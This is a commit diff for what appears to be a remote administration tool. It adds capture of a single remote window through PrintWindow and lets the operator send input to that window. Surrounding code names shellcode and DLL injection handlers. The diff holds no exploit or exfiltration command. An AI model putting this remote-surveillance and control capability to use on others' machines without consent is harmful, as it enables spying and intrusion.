Feat: window capture via PrintWindow with server-side HWND routing by clientID
This commit is contained in:
@@ -170,6 +170,7 @@ public:
|
|||||||
|
|
||||||
// 感兴趣区域 (ROI)
|
// 感兴趣区域 (ROI)
|
||||||
RECT m_ROI = {0,0,0,0};
|
RECT m_ROI = {0,0,0,0};
|
||||||
|
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
|
||||||
int m_nScaleSendWidth = 0;
|
int m_nScaleSendWidth = 0;
|
||||||
int m_nScaleSendHeight = 0;
|
int m_nScaleSendHeight = 0;
|
||||||
|
|
||||||
@@ -859,6 +860,7 @@ public:
|
|||||||
void ensureEncoder(int width, int height)
|
void ensureEncoder(int width, int height)
|
||||||
{
|
{
|
||||||
if (m_encoder) return;
|
if (m_encoder) return;
|
||||||
|
if (width < 2 || height < 2) return; // x264 做偶数对齐 &~1,1→0,触发内部 strdup 泄漏;< 2 一并拦住
|
||||||
EncoderRequest req;
|
EncoderRequest req;
|
||||||
req.width = width;
|
req.width = width;
|
||||||
req.height = height;
|
req.height = height;
|
||||||
|
|||||||
@@ -471,6 +471,12 @@ void CScreenManager::InitScreenSpy()
|
|||||||
DXGI = param->buffer[0];
|
DXGI = param->buffer[0];
|
||||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||||
all = param->length > 2 ? param->buffer[2] : all;
|
all = param->length > 2 ? param->buffer[2] : all;
|
||||||
|
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获
|
||||||
|
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd) {
|
||||||
|
uint64_t hwnd64 = 0;
|
||||||
|
memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
|
||||||
|
if (hwnd64) m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
m_pUserParam = param;
|
m_pUserParam = param;
|
||||||
} else {
|
} else {
|
||||||
@@ -481,6 +487,11 @@ void CScreenManager::InitScreenSpy()
|
|||||||
if (level >= 0 && level < QUALITY_COUNT) {
|
if (level >= 0 && level < QUALITY_COUNT) {
|
||||||
algo = m_QualityProfiles[level].algorithm;
|
algo = m_QualityProfiles[level].algorithm;
|
||||||
}
|
}
|
||||||
|
// 窗口捕获必须走 GDI(PrintWindow),ScreenCapturerDXGI 无窗口捕获能力
|
||||||
|
if (m_hTargetWnd && DXGI == USING_DXGI) {
|
||||||
|
DXGI = USING_GDI;
|
||||||
|
Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n");
|
||||||
|
}
|
||||||
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
|
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
|
||||||
m_ScreenSettings.ScreenType = DXGI;
|
m_ScreenSettings.ScreenType = DXGI;
|
||||||
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
|
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
|
||||||
@@ -531,12 +542,12 @@ void CScreenManager::InitScreenSpy()
|
|||||||
} else {
|
} else {
|
||||||
SAFE_DELETE(s);
|
SAFE_DELETE(s);
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd);
|
||||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -698,6 +709,12 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||||
}
|
}
|
||||||
|
// 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步
|
||||||
|
if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
|
||||||
|
SAFE_DELETE(This->m_ScreenSpyObject);
|
||||||
|
This->InitScreenSpy();
|
||||||
|
This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
|
||||||
|
}
|
||||||
}
|
}
|
||||||
timeEndPeriod(1);
|
timeEndPeriod(1);
|
||||||
Mprintf("ScreenWorkThread Exit\n");
|
Mprintf("ScreenWorkThread Exit\n");
|
||||||
@@ -831,6 +848,25 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_SCREEN_WINDOW: {
|
||||||
|
// [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
|
||||||
|
BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
|
||||||
|
if (mode == 0x00 && ulLength > 2) {
|
||||||
|
const char* title = (const char*)(szBuffer + 2);
|
||||||
|
m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
|
||||||
|
} else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
|
||||||
|
uint64_t val = 0;
|
||||||
|
memcpy(&val, szBuffer + 2, sizeof(uint64_t));
|
||||||
|
m_hTargetWnd = (HWND)(UINT_PTR)val;
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
|
||||||
|
} else {
|
||||||
|
m_hTargetWnd = NULL;
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n");
|
||||||
|
}
|
||||||
|
RestartScreen();
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_ENCODE_LEVEL: {
|
case COMMAND_ENCODE_LEVEL: {
|
||||||
int encodeLevel = szBuffer[1];
|
int encodeLevel = szBuffer[1];
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
@@ -2047,9 +2083,12 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 窗口捕获模式:只能查看,不能控制
|
// 窗口捕获模式:点击前先将目标窗口置前,确保 SendInput 落到正确的窗口上
|
||||||
if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) {
|
if (m_ScreenSpyObject) {
|
||||||
return;
|
HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
|
||||||
|
if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
|
||||||
|
SetForegroundWindow(hwndTarget);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||||
|
|||||||
@@ -64,6 +64,7 @@ public:
|
|||||||
BOOL m_bIsWorking;
|
BOOL m_bIsWorking;
|
||||||
BOOL m_bIsBlockInput;
|
BOOL m_bIsBlockInput;
|
||||||
RECT m_ROI = {0};
|
RECT m_ROI = {0};
|
||||||
|
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||||
BOOL m_SwitchScreen = TRUE;
|
BOOL m_SwitchScreen = TRUE;
|
||||||
BOOL SendClientClipboard(BOOL fast);
|
BOOL SendClientClipboard(BOOL fast);
|
||||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||||
|
|||||||
@@ -12,12 +12,34 @@
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
||||||
RECT rc, BOOL switchScreen) :
|
RECT rc, BOOL switchScreen, HWND hwnd) :
|
||||||
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
|
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
|
||||||
{
|
{
|
||||||
|
m_hTargetWnd = hwnd;
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
|
|
||||||
|
// 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量
|
||||||
|
if (hwnd) {
|
||||||
|
RECT wndRc = {}, frameRc = {};
|
||||||
|
GetWindowRect(hwnd, &wndRc);
|
||||||
|
if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||||
|
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||||
|
m_ShadowTop = frameRc.top - wndRc.top;
|
||||||
|
} else {
|
||||||
|
frameRc = wndRc;
|
||||||
|
}
|
||||||
|
m_ulFullWidth = frameRc.right - frameRc.left;
|
||||||
|
m_ulFullHeight = frameRc.bottom - frameRc.top;
|
||||||
|
m_CachedWndW = wndRc.right - wndRc.left;
|
||||||
|
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||||
|
m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标,供 PointConversion 使用
|
||||||
|
m_iScreenY = frameRc.top;
|
||||||
|
m_bZoomed = false;
|
||||||
|
Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n",
|
||||||
|
hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop);
|
||||||
|
}
|
||||||
|
|
||||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||||
|
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
@@ -138,6 +160,64 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
|||||||
|
|
||||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||||
{
|
{
|
||||||
|
if (m_hTargetWnd) {
|
||||||
|
// 最小化:不绘制,hdcDest 保留上一帧内容(远程端看到冻结画面)
|
||||||
|
if (IsIconic(m_hTargetWnd)) return;
|
||||||
|
|
||||||
|
// 检测窗口尺寸变化:GetWindowRect 廉价,每帧调用;
|
||||||
|
// DwmGetWindowAttribute 较重,仅在 GetWindowRect 尺寸稳定后才调用。
|
||||||
|
// 防抖策略:拖拽 resize 期间尺寸持续变化,冻结画面等待稳定 300ms 后再重建,
|
||||||
|
// 避免拖拽过程中每帧重建 DIBSection / 重发 BitmapInfo / 重置编解码器。
|
||||||
|
static const DWORD RESIZE_DEBOUNCE_MS = 300;
|
||||||
|
RECT fullRc = {};
|
||||||
|
GetWindowRect(m_hTargetWnd, &fullRc);
|
||||||
|
// 窗口每帧都可能移动,实时更新屏幕偏移,保证 PointConversion 坐标正确
|
||||||
|
m_iScreenX = fullRc.left + m_ShadowLeft;
|
||||||
|
m_iScreenY = fullRc.top + m_ShadowTop;
|
||||||
|
int w = fullRc.right - fullRc.left;
|
||||||
|
int h = fullRc.bottom - fullRc.top;
|
||||||
|
if (w != m_CachedWndW || h != m_CachedWndH) {
|
||||||
|
// 尺寸有变化:更新防抖记录
|
||||||
|
if (w != m_PendingWndW || h != m_PendingWndH) {
|
||||||
|
m_PendingWndW = w;
|
||||||
|
m_PendingWndH = h;
|
||||||
|
m_SizeChangeTick = GetTickCount();
|
||||||
|
}
|
||||||
|
// 尚未稳定:冻结当前帧,继续等待
|
||||||
|
if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS)
|
||||||
|
return;
|
||||||
|
// 稳定 300ms:查询 DWM 真实帧边界,决定是否重建
|
||||||
|
RECT frameRc = fullRc;
|
||||||
|
if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||||
|
m_ShadowLeft = frameRc.left - fullRc.left;
|
||||||
|
m_ShadowTop = frameRc.top - fullRc.top;
|
||||||
|
} else {
|
||||||
|
m_ShadowLeft = m_ShadowTop = 0;
|
||||||
|
}
|
||||||
|
if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth ||
|
||||||
|
(ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) {
|
||||||
|
Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d,触发重建\n",
|
||||||
|
m_ulFullWidth, m_ulFullHeight,
|
||||||
|
frameRc.right - frameRc.left, frameRc.bottom - frameRc.top);
|
||||||
|
m_bNeedRestart = true;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
m_CachedWndW = w;
|
||||||
|
m_CachedWndH = h;
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrintWindow → 临时 DC → BitBlt 到目标(用缓存的阴影偏移跳过 DWM 扩展帧)
|
||||||
|
HDC hTmp = m_data.GetWindowDC();
|
||||||
|
HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp());
|
||||||
|
BOOL ok = PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT);
|
||||||
|
if (!ok) ok = PrintWindow(m_hTargetWnd, hTmp, 0);
|
||||||
|
if (ok) {
|
||||||
|
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY);
|
||||||
|
}
|
||||||
|
SelectObject(hTmp, hOld);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
if (m_bVirtualPaint) {
|
if (m_bVirtualPaint) {
|
||||||
// 先用深色填充背景,避免窗口移动时留下残影
|
// 先用深色填充背景,避免窗口移动时留下残影
|
||||||
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
||||||
|
|||||||
@@ -95,10 +95,24 @@ protected:
|
|||||||
|
|
||||||
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
||||||
EnumHwndsPrintData m_data;
|
EnumHwndsPrintData m_data;
|
||||||
|
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||||
|
int m_ShadowLeft = 0; // DWM 阴影左偏移(frameRc.left - fullRc.left),帧间缓存
|
||||||
|
int m_ShadowTop = 0; // DWM 阴影上偏移(frameRc.top - fullRc.top),帧间缓存
|
||||||
|
int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM
|
||||||
|
int m_CachedWndH = 0; // 上帧 GetWindowRect 高度
|
||||||
|
int m_PendingWndW = 0; // 防抖:检测到尺寸变化后记录的新宽度
|
||||||
|
int m_PendingWndH = 0; // 防抖:检测到尺寸变化后记录的新高度
|
||||||
|
DWORD m_SizeChangeTick = 0; // 防抖:尺寸上次变化的时间戳(GetTickCount)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
||||||
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE);
|
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL);
|
||||||
|
|
||||||
|
virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }
|
||||||
|
|
||||||
|
// 窗口模式下 m_ulFullWidth/Height 是窗口尺寸,但 SendInput 的 dx/dy 分母必须是屏幕尺寸
|
||||||
|
virtual int GetScreenWidth() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CXSCREEN) : m_ulFullWidth; }
|
||||||
|
virtual int GetScreenHeight() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CYSCREEN) : m_ulFullHeight; }
|
||||||
|
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
|
|
||||||
|
|||||||
@@ -68,6 +68,9 @@ bool CX264Encoder::open(int width, int height, int fps, int crf)
|
|||||||
|
|
||||||
bool CX264Encoder::open(x264_param_t * param)
|
bool CX264Encoder::open(x264_param_t * param)
|
||||||
{
|
{
|
||||||
|
// x264_encoder_open 在 0×0 时已完成 x264_param_strdup 才报错,需在此拦截
|
||||||
|
if (param->i_width < 2 || param->i_height < 2) return false;
|
||||||
|
|
||||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||||
|
|
||||||
|
|||||||
@@ -304,6 +304,7 @@ enum {
|
|||||||
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
|
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
|
||||||
TOKEN_DRAWING_BOARD=151, // 画板
|
TOKEN_DRAWING_BOARD=151, // 画板
|
||||||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||||||
|
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||||||
|
|
||||||
TOKEN_DECRYPT = 199,
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // 注册表
|
TOKEN_REGEDIT = 200, // 注册表
|
||||||
|
|||||||
Binary file not shown.
@@ -890,6 +890,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
|
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
|
||||||
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
||||||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||||||
|
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
||||||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||||
@@ -10273,6 +10274,30 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
|
|||||||
SAFE_DELETE(tinyRun);
|
SAFE_DELETE(tinyRun);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
// wParam: new char[2 * sizeof(uint64_t)],前 8 字节为 clientID,后 8 字节为 HWND(uint64_t)
|
||||||
|
char* arg = (char*)wParam;
|
||||||
|
uint64_t clientID = 0, hwnd64 = 0;
|
||||||
|
memcpy(&clientID, arg, sizeof(uint64_t));
|
||||||
|
memcpy(&hwnd64, arg + sizeof(uint64_t), sizeof(uint64_t));
|
||||||
|
delete[] arg;
|
||||||
|
auto ctx = FindHost(clientID);
|
||||||
|
if (!ctx) return S_FALSE;
|
||||||
|
|
||||||
|
// 窗口捕获只能走 GDI(PrintWindow),忽略用户的 DXGI 设置
|
||||||
|
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||||
|
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||||
|
// [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
|
||||||
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
|
||||||
|
(BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
|
||||||
|
(BYTE)all };
|
||||||
|
memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
|
||||||
|
screenParamModifier(ctx, bToken);
|
||||||
|
ctx->Send2Client(bToken, sizeof(bToken));
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
char* ip = (char*)wParam;
|
char* ip = (char*)wParam;
|
||||||
|
|||||||
@@ -510,6 +510,7 @@ public:
|
|||||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
||||||
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
||||||
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
||||||
|
|||||||
@@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
|||||||
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
||||||
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
||||||
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
||||||
|
ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -638,3 +639,28 @@ void CSystemDlg::OnPlistAntiBlackScreen()
|
|||||||
memcpy(arg + 256, arch, arch.GetLength());
|
memcpy(arg + 256, arch, arch.GetLength());
|
||||||
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
|
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CSystemDlg::OnWlistView()
|
||||||
|
{
|
||||||
|
int nItem = m_ControlList.GetSelectionMark();
|
||||||
|
if (nItem < 0) return;
|
||||||
|
auto data = (ItemData*)m_ControlList.GetItemData(nItem);
|
||||||
|
if (!data) return;
|
||||||
|
|
||||||
|
// 最小化的窗口 PrintWindow 不会被调用,远程端只能看到黑屏
|
||||||
|
if (data->Data[2] == "minimized") {
|
||||||
|
MessageBoxAPI_L(m_hWnd, "该窗口已最小化,请先还原后再查看。", "提示", MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 布局: [clientID: uint64_t][HWND: uint64_t],共 16 字节
|
||||||
|
// 使用子连接的 clientID 而非 IP,以确保多客户端同 IP 时路由正确
|
||||||
|
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||||
|
uint64_t clientID = m_ContextObject->GetClientID();
|
||||||
|
uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID;
|
||||||
|
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||||
|
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
|
||||||
|
|
||||||
|
ASSERT(m_pParent);
|
||||||
|
m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
|
||||||
|
}
|
||||||
|
|||||||
@@ -48,4 +48,5 @@ public:
|
|||||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
afx_msg void OnPlistInject();
|
afx_msg void OnPlistInject();
|
||||||
afx_msg void OnPlistAntiBlackScreen();
|
afx_msg void OnPlistAntiBlackScreen();
|
||||||
|
afx_msg void OnWlistView();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1933,3 +1933,5 @@ FRPC Զ
|
|||||||
卸载软件=Uninstall Software
|
卸载软件=Uninstall Software
|
||||||
是否移除此软件?=Uninstall this software. Are you sure?
|
是否移除此软件?=Uninstall this software. Are you sure?
|
||||||
[安全提示] 请设置Web访问密码!!!=[Security Warning] Please set web password!!!
|
[安全提示] 请设置Web访问密码!!!=[Security Warning] Please set web password!!!
|
||||||
|
查看=View Window
|
||||||
|
该窗口已最小化,请先还原后再查看。=The window is minimized. Please restore it before viewing.
|
||||||
|
|||||||
@@ -1924,3 +1924,5 @@ FRPC Զ
|
|||||||
卸载软件=卸载软件
|
卸载软件=卸载软件
|
||||||
是否移除此软件?=是否移除此软件?
|
是否移除此软件?=是否移除此软件?
|
||||||
[安全提示] 请设置Web访问密码!!!=[安全提示] 请设置Web访问密码!!!
|
[安全提示] 请设置Web访问密码!!!=[安全提示] 请设置Web访问密码!!!
|
||||||
|
查看=查看
|
||||||
|
该窗口已最小化,请先还原后再查看。=該視窗已最小化,請先還原後再查看。
|
||||||
|
|||||||
@@ -1000,6 +1000,8 @@
|
|||||||
#define ID_VIEW_HIDE_LOG 33061
|
#define ID_VIEW_HIDE_LOG 33061
|
||||||
#define ID_33062 33062
|
#define ID_33062 33062
|
||||||
#define ID_COPY_CLIENT_INFO 33063
|
#define ID_COPY_CLIENT_INFO 33063
|
||||||
|
#define ID_WLIST_33064 33064
|
||||||
|
#define ID_WLIST_VIEW 33065
|
||||||
#define ID_EXIT_FULLSCREEN 40001
|
#define ID_EXIT_FULLSCREEN 40001
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
@@ -1007,7 +1009,7 @@
|
|||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 389
|
#define _APS_NEXT_RESOURCE_VALUE 389
|
||||||
#define _APS_NEXT_COMMAND_VALUE 33064
|
#define _APS_NEXT_COMMAND_VALUE 33066
|
||||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||||
#define _APS_NEXT_SYMED_VALUE 105
|
#define _APS_NEXT_SYMED_VALUE 105
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -109,6 +109,7 @@
|
|||||||
#define WM_ONLINE_HOSTNUM WM_USER+3039
|
#define WM_ONLINE_HOSTNUM WM_USER+3039
|
||||||
#define WM_SPLITTER_MOVED WM_USER+3040
|
#define WM_SPLITTER_MOVED WM_USER+3040
|
||||||
#define WM_SPLITTER_RELEASED WM_USER+3041
|
#define WM_SPLITTER_RELEASED WM_USER+3041
|
||||||
|
